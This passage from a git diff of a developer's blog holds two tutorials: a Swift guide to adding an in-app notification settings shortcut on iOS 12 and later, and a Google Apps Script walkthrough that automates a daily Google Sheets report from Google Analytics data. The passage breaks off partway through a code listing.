This post is licensed under CC BY 4.0 by the author.

Travelogue 2024 Bangkok 🇹🇭 5-Day Free and Easy Trip

Behavior Change in Merging NSAttributedString Attributes Range in iOS ≥ 18

diff --git a/posts/f644db1bb8bf/index.html b/posts/f644db1bb8bf/index.html new file mode 100644 index 0000000000..6cba8f1de8 --- /dev/null +++ b/posts/f644db1bb8bf/index.html @@ -0,0 +1,63 @@ + Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift) | ZhgChgLi
Home Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)
Post
Cancel

Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)

Add ‘App Notification Settings Page’ Shortcut in User’s ‘Settings’ on iOS ≥ 12 (Swift)

Besides turning off notifications from the system, give users other options

Following the previous three articles:

We continue to improve push notifications, whether it’s existing technology or newly available features, let’s give them a try!

What’s this time?

iOS ≥ 12 allows you to add a shortcut to your app’s notification settings page in the user’s “Settings,” giving users other options when they want to adjust notifications; they can jump to “in-app” instead of turning off notifications directly from the “system.” Here’s a preview:

Settings -> App -> Notifications -> In-App Settings

Settings -> App -> Notifications -> In-App Settings

Additionally, when users receive notifications and want to use 3D Touch to adjust settings to “turn off” notifications, there will be an extra “In-App Settings” option for users to choose from.

Notifications -> 3D Touch -> ... -> Turn Off... -> In-App Settings

Notifications -> 3D Touch -> … -> Turn Off… -> In-App Settings

How to implement?

The implementation is very simple. The first step is to request an additional .providesAppNotificationSettings permission when requesting push notification permissions.

1
+2
+3
+4
+5
+6
+7
+8
+
//appDelegate.swift didFinishLaunchingWithOptions or....
+if #available(iOS 12.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional,.providesAppNotificationSettings]
+    center.requestAuthorization(options: permissiones) { (granted, error) in
+        
+    }
+}
+

After asking the user whether to allow notifications, if notifications are enabled, an option will appear below ( regardless of whether the user previously allowed or disallowed notifications ).

Step Two:

The second step, and the final step; we need to make appDelegate conform to the UNUserNotificationCenterDelegate protocol and implement the userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) method!

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
//appDelegate.swift
+import UserNotifications
+@UIApplicationMain
+class AppDelegate: UIResponder, UIApplicationDelegate {
+    var window: UIWindow?
+    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
+        if #available(iOS 10.0, *) {
+            UNUserNotificationCenter.current().delegate = self
+        }
+        
+        return true
+    }
+    //Other parts omitted...
+}
+extension AppDelegate: UNUserNotificationCenterDelegate {
+    @available(iOS 10.0, *)
+    func userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) {
+        //Navigate to your settings page..
+        //EX:
+        //let VC = SettingViewController();
+        //self.window?.rootViewController.present(alertController, animated: true)
+    }
+}
+
  • Implement the delegate in AppDelegate’s didFinishLaunchingWithOptions
  • AppDelegate conforms to the delegate and implements the method

Completed! Compared to the previous articles, this feature implementation is very simple 🏆

Summary

This feature is somewhat similar to the one mentioned in the previous article, where we send low-interference silent push notifications to users without requiring their authorization to test the waters!

Both features aim to build a new bridge between developers and users. In the past, if an app was too noisy, we would mercilessly go to the settings page and turn off all notifications. However, this means that developers can no longer send any notifications, whether good or bad, useful or not, to the users. Consequently, users might miss important messages or exclusive offers.

This feature allows users to have the option to adjust notifications within the app when they want to turn them off. Developers can segment push notification items, allowing users to decide what type of push notifications they want to receive.

For the Wedding App, if users find the column notifications too intrusive, they can turn them off individually; but they can still receive important system messages.

p.s. The individual notification toggle feature is something our app already had, but by combining it with the new notification features in iOS ≥12, we can achieve better results and improve user experience.

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Always Keep the Enthusiasm for Exploring New Things

Apple Watch Series 4: Comprehensive Review from Unboxing to Mastery

diff --git a/posts/f6713ba3fee3/index.html b/posts/f6713ba3fee3/index.html new file mode 100644 index 0000000000..a383b1b9fc --- /dev/null +++ b/posts/f6713ba3fee3/index.html @@ -0,0 +1,1855 @@ + Implementing Google Services RPA Automation with Google Apps Script | ZhgChgLi
Home Implementing Google Services RPA Automation with Google Apps Script
Post
Cancel

Implementing Google Services RPA Automation with Google Apps Script

Implementing Google Services RPA Automation with Google Apps Script

Implementing Robotic Process Automation for Google Workspace services using Google Apps Script

Photo by [Possessed Photography](https://unsplash.com/@possessedphotography?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Possessed Photography

Robotic Process Automation

RPA (Robotic Process Automation) translates to “process automation robots” in Chinese. Looking back at human history, from hand-gathering to the Stone Age, then to agricultural civilization, from the industrial revolution of the last century to the information boom of the past 20 years, human work efficiency and productivity have grown exponentially. Along the way, RPA applications have been ubiquitous, such as waterwheels in the agricultural era (automated threshing work), textile machines in the industrial revolution (automated textile work), factory robotic arms (automated assembly work), and finally, the automated information-related work introduced in this article, such as automatic report queries, automatic notifications, and so on.

Embarrassingly, I only recently learned this term. Since my first job (7 years ago), I have been doing RPA-related work, such as writing crawlers to collect statistics, automating CI/CD processes, automating data queries, automating stability data alerts, and automating daily routine operations. However, I used to refer to it simply as “automation.” It’s time to give it a proper name — RPA (Robotic Process Automation).

Previously, my RPA efforts focused more on “writing code to automate tasks to solve single problems,” lacking comprehensive preliminary evaluation and analysis, the use of No/Low Code tools, regulations, operational monitoring, actual data statistics, continuous improvement, corporate culture promotion, and so on. These are all essential aspects of complete RPA. However, as mentioned earlier, I only recently learned about this professional field, so let me start with a practical article!

There are many platforms providing RPA services, such as Automation Anywhere, UiPath, Microsoft Power Automate, Blue Prism, or Zapier, IFTTT, Automate.io. You need to choose the appropriate service based on the actual problem you want to solve and the platform.

I recommend a free open-source browser-based RPA tool: Automa.

Broadly speaking, transforming the active dependence between people or between people and tasks into dependence on platforms is also a form of RPA.

For example: using project management tools like Asana/Jira to manage work tasks uniformly.

Based on the concept of transforming active to passive, we can also implement an RPA for services that originally required manual checks for new notifications, automatically notifying us when there are new changes.

For example: The previously implemented Gmail to Slack forwards specific notification emails to the work group.

Evaluation of the Benefits of Robotic Process Automation

Previously, in the “2021 Pinkoi Tech Career Talk — Unveiling the Secrets of a Highly Efficient Engineering Team”, we discussed the costs of small accumulations and interruptions in flow; assuming a routine repetitive task takes 15 minutes to solve each time, occurs 10 times a week, and wastes nearly 130 hours a year; if we also consider the cost of “context switching,” it could ultimately waste nearly 200 hours a year.

[**2021 Pinkoi Tech Career Talk — Unveiling the Secrets of a Highly Efficient Engineering Team**](../11f6c8568154/)

2021 Pinkoi Tech Career Talk — Unveiling the Secrets of a Highly Efficient Engineering Team

Context switching means that when we are highly focused on important tasks, we need to pause to handle other matters, and the time it takes to get back into the state after handling them.

The benefits evaluation of developing RPA can refer to the figure below. As long as the development time required and the frequency encountered are greater than the time wasted, it is worth investing resources to implement:

[https://twitter.com/swyx/status/1196401158744502272](https://twitter.com/swyx/status/1196401158744502272){:target="_blank"}

https://twitter.com/swyx/status/1196401158744502272

  • X-axis: Task frequency ex: 50/Day (50 times a day)
  • Y-axis: How much manpower time is required to complete the task each time
  • Time cost range is calculated over 5 years, the middle of the table indicates the manpower cost wasted over 5 years
  • White indicates that the time cost of automation is greater than the benefits obtained, not worth improving
  • Green indicates items worth automating
  • Red strongly suggests converting to automation

In addition to saving time, automated standardized processes can also reduce the chance of human error and improve stability.

The Relationship Between Robotic Process Automation and AI

With the rise of AI, RPA is also frequently mentioned; but I think RPA has no direct relationship with AI, RPA existed long before the era of AI, and the benefits of AI adoption in enterprises may not be as high as the benefits of perfecting RPA. RPA is more about corporate culture and work habits; however, it is undeniable that AI can indeed help RPA reach the next level. For example, RPA used to only handle precise, routine tasks, but with AI, it can handle some fuzzy, more dynamic, and intelligent judgment tasks.

Robotic Process Automation at Google Workspace

Google Workspace (formerly G Suite) is our daily office collaboration partner. We use Gmail for email hosting, Google Docs for documents, Google Sheets for spreadsheets, Google Forms for forms, etc. The integration between these services or communication with internal and external systems requires us to implement RPA to complete.

However, Google does not provide direct RPA services, which can be achieved through the following services:

  • No Code: App Sheet (paid service), allows non-developers to directly build service integration automation through GUI.
  • Low Code: Google Apps Script (free service), allows quick and direct bridging of Google services, external/internal systems with simple programming.
  • Function as a Service: Cloud Functions (paid service with free tier), allows writing complete code and services, deployed and executed directly through Google Cloud.

I haven’t used the No Code platform App Sheet, but I have quite a bit of experience with Cloud Functions and Google Apps Script. Here are some personal experiences and choices:

Cloud Functions

  • Requires deployment to execute
  • Supports multiple programming languages: Node.js, Python, Java, Go, PHP, Ruby…
  • Supports third-party package dependency management, installation, and usage
  • Supports complete authentication mechanisms
  • Maximum execution time limit: 60 minutes
  • Pay-as-you-go: charged based on the number of invocations, execution time, different processors, and memory used
  • Limited by cold start issues (if not called for a long time, the first call will take longer response time)
  • Cannot directly integrate with Google services, needs to go through Auth/API authentication
  • Free tier as follows Cloud Functions offers a perpetual free tier for compute time resources, including allocations of GB-seconds and GHz-seconds. In addition to 2 million invocations, this free tier also provides 400,000 GB-seconds and 200,000 GHz-seconds of compute time, as well as 5 GB of internet data transfer per month. The free tier usage is calculated in equivalent USD amounts at the Tier 1 pricing level. Regardless of whether the function execution region uses Tier 1 and/or Tier 2 pricing, the equivalent USD amount will be allocated to you. However, when deducting the free tier quota, the system will be based on the function execution region’s tier (Tier 1 or Tier 2). Please note that even if you are using the free tier, you must have a valid billing account.

In summary, Cloud Functions are recommended when more comprehensive and complex RPA integration functions or more external API integration needs are required.

Previous cases using Cloud Functions include:

I use it when integrating with non-Google Workspace services and bridging other external services.

Google Apps Script

  • Convenient, simple, and fast
  • Completely free
  • No cumbersome and complex Auth authentication required for service integration (Google Apps Script uses the currently executing account as the execution identity)
  • Built-in scheduling and calendar trigger functions
  • Use Google network to execute network requests
  • Can only use Google Apps Script (based on JavaScript) for development
  • Does not support package management tools, no version control function
  • Due to security issues, customizing Request User-Agent information is not possible
  • Execution time limit, the script must complete the work within 6 minutes, otherwise, it will be terminated.
  • For other restrictions and quotas, please refer to the official GAS information:

Previous cases using Google Apps Script include:

Due to execution time and API Request customization limitations, I only use Google Apps Script for simple and quick services; or when there is a need to integrate with Google services, I will prioritize using Google Apps Script (because using Cloud Functions requires implementing a complete Google service authentication process).

Robotic Process Automation with Google Apps Script — Work Daily Report (Google Sheet x Google Analytics)

Finally, we come to the topic of this article, using Google Apps Script to achieve Google service RPA automation.

Background

The product team needs to query Google Analytics data daily and fill it into the Google Sheet data report for team trend analysis; and publish the daily data content to the Dashboard screen so that all members can grasp the current situation.

Colleagues need to spend about 30 minutes to complete this task every day when they arrive at the company; if there are other things to deal with, they need to wait until this routine work is completed or delay the release of daily data messages.

Simple estimation of RPA benefits:

  • Annual consumption expenditure: 1 person x 30 mins x 365 days (holiday data also needs to be supplemented) = 182 hours
  • Automation setup cost: In this case, it takes about 1 person x 5 days = 40 hours

Therefore, we only need to invest one week of development time to solve the workload of the colleague responsible for data checking in the long run, allowing them to focus on more important tasks.

Goal

Our goal is to use Google Apps Script to create an RPA that automatically retrieves daily data from Google Analytics and internal system report APIs and fills it into Google Sheets, as well as setting up a Web UI Dashboard.

Final Effect

The data is fake, purely for demo use; from 2024/04/13 onwards, it will be particularly low or remain at 0 because my zhgchg.li GA really has “0” traffic Q_Q.

Tasks to Complete

  1. Create Google Apps Script, familiarize with the editor
  2. Obtain/create the corresponding date Sheet
  3. Connect to Google Analytics to retrieve data
  4. Populate data
  5. Set up scheduling for daily automatic execution

Disclaimer

For the sake of explanation, the following code will be as less abstract as possible and more explanatory. You can modify it according to your actual needs.

A complete public Google Sheet & Google Apps Script is attached at the end of the article. If you are too lazy to follow step by step, you can directly modify the template provided at the end.

Step 1. Create Google Apps Script

Simply select “Extensions” -> “Apps Script” on the report we want to automate to automatically create a Google Apps Script linked to the Google Sheet report.

Alternatively, you can directly create it from the Google Apps Script homepage Google Apps Script, but this will not link to the Google Sheet.

It is not necessary to link to operate the corresponding Google Sheet, both methods can be used. The difference lies in the ownership of the Script. If it is linked to the report, it belongs to the report owner; if created by yourself, it belongs to the creator. Ownership will affect whether the script will be invalidated or deleted if the account is deactivated due to resignation.

After creating the script, we can first rename our script project from the top.

Google Apps Script Basics

Before moving on to the next step of writing the program, let’s supplement some basic knowledge of Google Apps Script.

About the Editor

The SDK for Google services is introduced by default (no special introduction is required to call and use):

  • CalendarApp Calendar
  • DocumentApp Google Drive
  • FormApp Google Form
  • SpreadsheetApp Google Sheet
  • GmailApp Gmail
  • Others…

  1. File: You can add multiple .gs files to store different object codes for better organization; all files will execute under the same Namespace and lifecycle, so be careful as object names and variable names may overwrite each other if duplicated. In addition to .gs script files, you can also add .html HTML Template files for rendering Web UI. (This will be introduced later)
  2. Library: Libraries written by others (a.k.a Lib) can be imported using their Script ID. Of course, the scripts we write can also be deployed as libraries for others to use. There are also some tools packaged by experts that can be used, but the downside is that you can only search for Script IDs via Google, as there is no official library list for reference. e.g. HTML Parser Tool Cheer.io Script ID: 1ReeQ6WO8kKNxoaA_O0XEQ589cIrRvEBA9qcWpNqdOP17i47u6N9M5Xh0
  3. Services: SDKs for Google services. Services not included by default can be added here. e.g. Google Analytics Data
  4. Undo, Redo
  5. Save or Control + s
  6. Run or Control + r Errors will be directly prompted in the Console and the script will terminate.
  7. Debug Execution will pause and the right-side Debug View will pop up when it hits a Break point (10). You can then continue execution. Errors will pause execution and the right-side Debug View will pop up.
  8. Target method for debugging and execution (Function Name) Only methods in the currently selected file can be chosen.
  9. View editor execution logs

Another point to note is indentation. In some browsers, pressing “Control + [” to indent will trigger the back page action, so be careful!

Google Apps Script GitHub Assistant Chrome Extension

  • It is recommended to install this Extension to connect Google Apps Script with git, enabling version control to prevent accidental changes.

  • If you encounter Push/Pull Errors or no response when clicking, please follow the steps above: “Options” -> Connect to Github or re-authenticate Google authorization.

Logger Message

You can use the following script with Debug to print Debug Logs in the Console.

1
+
Logger.log("Hi")
+

Execution Logs and Error Information

Logs or errors during execution in the editor will be displayed directly. To check execution logs or errors during automatic execution, go to the “Executions” tab.

Automatic Triggers

The “Triggers” tab allows you to set how methods in the script are automatically triggered. The automatic trigger conditions that can be set include:

  • When Google Sheet: opens, edits, content changes, form submissions
  • Scheduled triggers: every X minutes, X hours, X days, X weeks, X months
  • Specific date triggers: YYYY-MM-DD HH:MM
  • When Calendar: updates

Error notification settings can be configured to notify you when the script execution fails.

Grant Execution Permissions

The first execution/deployment or adding new services/resources will require re-authorization. Subsequent executions will use the authorized identity, so ensure that the authorized (usually current) account has the necessary permissions for the resources/services (e.g., Google Sheet permissions).

After the account selection pop-up appears, choose the account to authorize for execution (usually the current Google Apps Script account):

The message “Google hasn’t verified this app” appears because the app we are developing is for personal use and does not need to be verified by Google.

Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:

After completing the authorization, you can successfully run the script. If there are no changes to the resources, re-authorization is not required.

2. Obtain/Create the Sheet for the Corresponding Date

After understanding the basic knowledge, we can write the program for the first function.

We create the following multiple files to store different objects:

DailyReportStyle.gs field style object:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
class HeaderStyle {
+  constructor() {
+    this.color = "#ffffff";
+    this.backgroundColor = "#e3284b";
+    this.bold = false;
+    this.size = 12;
+    this.horizontalAlignment = "center";
+    this.verticalAlignment = "middle";
+  }
+}
+
+class ContentStyle {
+  constructor() {
+    this.color = "#000000";
+    this.backgroundColor = "#ffffff";
+    this.bold = false;
+    this.size = 12;
+    this.horizontalAlignment = "center";
+    this.verticalAlignment = "middle";
+  }
+}
+
+class HeaderDateStyle {
+  constructor() {
+    this.color = "#ffffff";
+    this.backgroundColor = "#001a40";
+    this.bold = true;
+    this.size = 12;
+    this.horizontalAlignment = "center";
+    this.verticalAlignment = "middle";
+  }
+}
+

DailyReportField.gs field data object:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
class DailyReportField {
+  constructor(name, headerStyle, contentStyle, format = null, value = null) {
+    this.name = name;
+    this.headerStyle = headerStyle;
+    this.contentStyle = contentStyle;
+    this.format = format;
+    this.value = value;
+  }
+}
+

DailyReport.gs main report program logic:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+
class DailyReport {
+  constructor(sheetID, date) {
+    this.separateSheet = SpreadsheetApp.openById(sheetID);
+    this.date = date;
+
+    this.sheetFields = [
+      new DailyReportField("Date", new HeaderDateStyle(), new HeaderDateStyle()),
+      new DailyReportField("Day of the Week", new HeaderDateStyle(), new HeaderDateStyle()),
+      new DailyReportField("Daily Traffic", new HeaderStyle(), new ContentStyle(), "#,##0", '=INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),"1","")&4)+INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),"1","")&5)'), // =4(PC Traffic) + 5(Mobile Traffic)
+      new DailyReportField("PC Traffic", new HeaderStyle(), new ContentStyle(), "#,##0"),
+      new DailyReportField("Mobile Traffic", new HeaderStyle(), new ContentStyle(), "#,##0"),
+      new DailyReportField("Registrations", new HeaderStyle(), new ContentStyle(), "#,##0")
+    ]
+
+    // Explanation of the daily traffic formula:
+    // 1. The COLUMN() function returns the column number of the current cell.
+    // 2. ADDRESS(1, COLUMN(), 4) generates an absolute reference address with the given row number (result of `COLUMN()`) and fixed column number (1). The third parameter 4 indicates a relative address without any dollar signs ($). For example, if you use this function in any cell in the third column, it will return "C1".
+    // 3. SUBSTITUTE(ADDRESS(1, COLUMN(), 4), "1", "") removes the number 1 from the address generated by the ADDRESS function, leaving only the column letter, e.g., "C".
+    // 4. INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN(), 4), "1", "") & 4) here & 4 should actually be &4. The result of the `SUBSTITUTE` function is concatenated with the number 4, forming a string like "C4", and then the INDIRECT function converts this string into the corresponding cell reference. So, if you use this formula in any cell in column C, it will reference C4.
+    // 5. Similarly, `INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN(), 4), "1", "") & 5)` references the cell in the fifth row of the same column. For example, if you use this formula in any cell in column C, it will reference C5.
+    // 6. Finally, the values of the cells referenced by these two INDIRECT functions are added together.
+  }
+
+  execute() {
+    const sheet = this.getSheet();
+
+  }
+
+  // Get the target Sheet for the given date
+  getSheet() {
+    // Distinguish Sheets by month, find the current month's Sheet
+    var thisMonthSheet = this.separateSheet.getSheetByName(this.getSheetName());
+    if (thisMonthSheet == null) {
+      // If not found, create a new monthly Sheet
+      thisMonthSheet = this.makeMonthSheet();
+    }
+
+    return thisMonthSheet;
+  }
+
+  // Monthly Sheet naming convention
+  getSheetName() {
+    return Utilities.formatDate(this.date, "GMT+8", "yyyy-MM");
+  }
+
+  // Create a new monthly Sheet
+  makeMonthSheet() {
+    // Add the current month's Sheet, move it to the first position
+    var thisMonthSheet = this.separateSheet.insertSheet(this.getSheetName(), {index: 0});
+    thisMonthSheet.activate();
+    this.separateSheet.moveActiveSheet(1);
+
+    // Add the first column, field names, set Pinned, width 200
+    thisMonthSheet.insertColumnsBefore(1, 1);
+    thisMonthSheet.setFrozenColumns(1);
+    thisMonthSheet.setColumnWidths(1, 1, 200);
+
+    // Fill in the field names
+    for(const currentRow in this.sheetFields) {
+      const sheetField = this.sheetFields[currentRow];
+      const text = sheetField.name;
+      const style = sheetField.headerStyle;
+      
+      const range = thisMonthSheet.getRange(parseInt(currentRow) + 1, 1);
+      this.setContent(range, text, style);
+      range.setHorizontalAlignment("left");
+    }
+
+    // Set row heights
+    thisMonthSheet.setRowHeights(1, Object.keys(this.sheetFields).length, 30);
+
+    // Set Pinned for the first and second rows (Date, Day of the Week)
+    thisMonthSheet.setFrozenRows(2);
+
+    // Add a summary column
+    thisMonthSheet.insertColumnsAfter(thisMonthSheet.getLastColumn(), 1); // Add one column after the last column
+    const summaryColumnIndex = thisMonthSheet.getLastColumn() + 1;
+
+    // Fill in the summary column
+    for(const currentRow in this.sheetFields) {
+      const sheetField = this.sheetFields[currentRow];
+      const summaryRowIndex = parseInt(currentRow) + 1;
+
+      const range = thisMonthSheet.getRange(summaryRowIndex, summaryColumnIndex);
+      const style = sheetField.contentStyle;
+
+      if (summaryRowIndex == 1) {
+        // Date...
+        this.setContent(range, "Total", style);
+      } else if (summaryRowIndex == 2) {
+        // Day of the Week...merge...
+        const mergeRange = thisMonthSheet.getRange(1, summaryColumnIndex, summaryRowIndex, 1);
+        this.setContent(mergeRange, "Total", style);
+        mergeRange.merge();
+      } else {
+        this.setContent(range, '=IFERROR(SUM(INDIRECT(SUBSTITUTE(ADDRESS(1, 1, 4), "1", "") & '+summaryRowIndex+'):INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN() - 1, 4), "1", "") & '+summaryRowIndex+')), 0)', style);
+
+        // 1. The IFERROR(value, [value_if_error]) function is used to check if there is an error in the formula and return a specified value if there is an error. It takes two parameters: `value` is the expression or function to be calculated, and `value_if_error` is the value returned when value has an error. In this context, if the calculation in the SUM function has an error, it returns 0.
+        // 2. The SUM(range) function is used to calculate the sum of all numbers in the range.
+        // 3. The INDIRECT(ref_text, [is_A1_notation]) function converts a text string into a cell reference. Here, the INDIRECT function is used to dynamically generate the required reference range.
+        // 4. The SUBSTITUTE(text, old_text, new_text, [instance_num]) function replaces specified text in a text string. Here, SUBSTITUTE is used to replace the "1" in the address returned by the ADDRESS function with other content.
+        // 5. The ADDRESS(row, column, [abs_num], [a1], [sheet]) function returns the cell address corresponding to the given row and column numbers. Here, ADDRESS(1, 1, 4) generates the cell address of the first row and first column, but since abs_num is 4, the address does not include the worksheet name and fixed symbol $. Similarly, `ADDRESS(1, COLUMN() - 1, 4)` generates the cell address from the first row to the previous column of the current column.
+        // 6. The COLUMN() function returns the column number of the current cell.
+        // 7. summaryRowIndex = the row number
+      }
+    }
+
+    return thisMonthSheet;
+  }
+
+  setContent(range, text, style) {
+    if (String(text) != "") {
+      range.setValue(text);
+    }
+
+    range.setBackgroundColor(style.backgroundColor);
+    range.setFontColor(style.color);
+
+    if (style.bold) {
+      range.setFontWeight("bold");
+    }
+
+    range.setHorizontalAlignment(style.horizontalAlignment);
+    range.setVerticalAlignment(style.verticalAlignment);
+    range.setFontSize(style.size);
+    range.setBorder(true, true, true, true, true, true, "black", SpreadsheetApp.BorderStyle.SOLID);
+  }
+}
+

Main.gs as the main program entry point:

1
+2
+3
+4
+5
+6
+7
+
const targetGoogleSheetID = "1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE"
+// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641
+
+function debug() {
+  var report = new DailyReport(targetGoogleSheetID, new Date());
+  report.execute();
+}
+

After completion, we return to Main.gs, select “debug” and press debug to check if the execution result is correct and if there are any errors.

If executed correctly, the report will show the current new month, with default fields and total fields. If it already exists, there will be no response.

3. Integrate Google Analytics to fetch data

First, you need to add the “AnalyticsData” service:

Use the GA4 Debug Tool to construct query conditions:

Log in and authorize, then select the target resource:

Note down the number displayed under the property, which is the GA Property ID you want to query.

Set query parameters and Filter conditions:

Press “Make Request” to get the Response result:

You can simultaneously compare the data with the same conditions in the GA 4 backend to see if they match. If there is a significant difference, it might be because some Filter conditions were not added, so you need to check again.

Note

A small pitfall discovered by a marketing colleague: some GA data may have delay issues, meaning the numbers you check today might be different from those you checked yesterday (e.g., bounce rate). Therefore, it’s best to backtrack the data a few days to ensure the final numbers are accurate.

After confirming that the GA Debug Tool is working correctly, we can convert it into Google Apps Script.

Add a new GAData.gs file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+
// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined
+// GA Debug Tool: https://ga-dev-tools.web.app/ga4/query-explorer/
+
+class GAData {
+  constructor(date) {
+    this.date = date;
+
+    const traffic = this.fetchGADailyUsage();
+    this.pc_traffic = traffic["desktop"];
+    this.mobile_traffic = traffic["mobile"];
+  }
+
+  fetchGADailyUsage() {
+    const dimensionPlatform = AnalyticsData.newDimension();
+    dimensionPlatform.name = "deviceCategory";
+
+    const metric = AnalyticsData.newMetric();
+    metric.name = "sessions";
+
+    const dateRange = AnalyticsData.newDateRange();
+    // Default query for data within the given date range e.g. 2024-01-01 ~ 2024-01-01
+    dateRange.startDate = this.getDateString();
+    dateRange.endDate = this.getDateString();
+
+    // Filter Example:
+    // const filterExpression = AnalyticsData.newFilterExpression();
+    // const filter = AnalyticsData.newFilter();
+    // filter.fieldName = "landingPagePlusQueryString";
+    // const stringFilter = AnalyticsData.newStringFilter()
+    // stringFilter.value = "/life|/article|/chat|/house|/event/230502|/event/230310";
+    // stringFilter.matchType = "PARTIAL_REGEXP";
+    // filter.stringFilter = stringFilter;
+    // filterExpression.filter = filter;
+
+    const request = AnalyticsData.newRunReportRequest();
+    request.dimensions = [dimensionPlatform];
+    request.metrics = [metric];
+    request.dateRanges = dateRange;
+
+    // Filter Example:
+    // const filterExpression = AnalyticsData.newFilterExpression();
+    // filterExpression.expression = filterExpression;
+    // request.dimensionFilter = filterExpression;
+    // or Not
+    // const notFilterExpression = AnalyticsData.newFilterExpression();
+    // notFilterExpression.notExpression = filterExpression;
+    // request.dimensionFilter = notFilterExpression;
+
+    const report = AnalyticsData.Properties.runReport(request, "properties/" + gaPropertyId).rows;
+    // No data
+    if (report == undefined) {
+      return {"desktop": 0, "mobile": 0};
+    }
+
+    // [{metricValues=[{value=4517}], dimensionValues=[{value=mobile}]}, {metricValues=[{value=3189}], dimensionValues=[{value=desktop}]}, {metricValues=[{value=63}], dimensionValues=[{value=tablet}]}]
+
+    var result = {};
+    report.forEach(function(element) {
+      result[element.dimensionValues[0].value] = element.metricValues[0].value;
+    });
+
+    return result;
+  }
+
+  getDateString() {
+    return Utilities.formatDate(this.date, "GMT+8", "yyyy-MM-dd");
+  }
+}
+

Main.gs Add test content:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
const targetGoogleSheetID = "1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE";
+// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641
+
+const gaPropertyId = "318495208";
+
+function debug() {
+  var report = new DailyReport(targetGoogleSheetID, new Date());
+  report.execute();
+  //
+  var gaData = new GAData(new Date());
+  Logger.log(gaData);
+}
+

Press run or debug to get the program fetch result:

OK! The comparison matches.

When this step is completed, the directory file structure is as shown above.

4. Fill in the data

After creating the Sheet and checking the data, the next step is to fill in the data into the fields.

Adjust DailyReport.gs to add logic for adding fields & filling data by date:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+
class DailyReport {
+  constructor(sheetID, date, gaData, inHouseReportData) {
+    this.separateSheet = SpreadsheetApp.openById(sheetID);
+    this.date = date;
+
+    const dateString = Utilities.formatDate(date, "GMT+8", "yyyy/MM/dd");
+    const weekString = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"][date.getDay()]; // Get the day of the week, Sunday is 0, Monday is 1, and so on
+
+    this.sheetFields = [
+      new DailyReportField("Date", new HeaderDateStyle(), new HeaderDateStyle(), null, dateString),
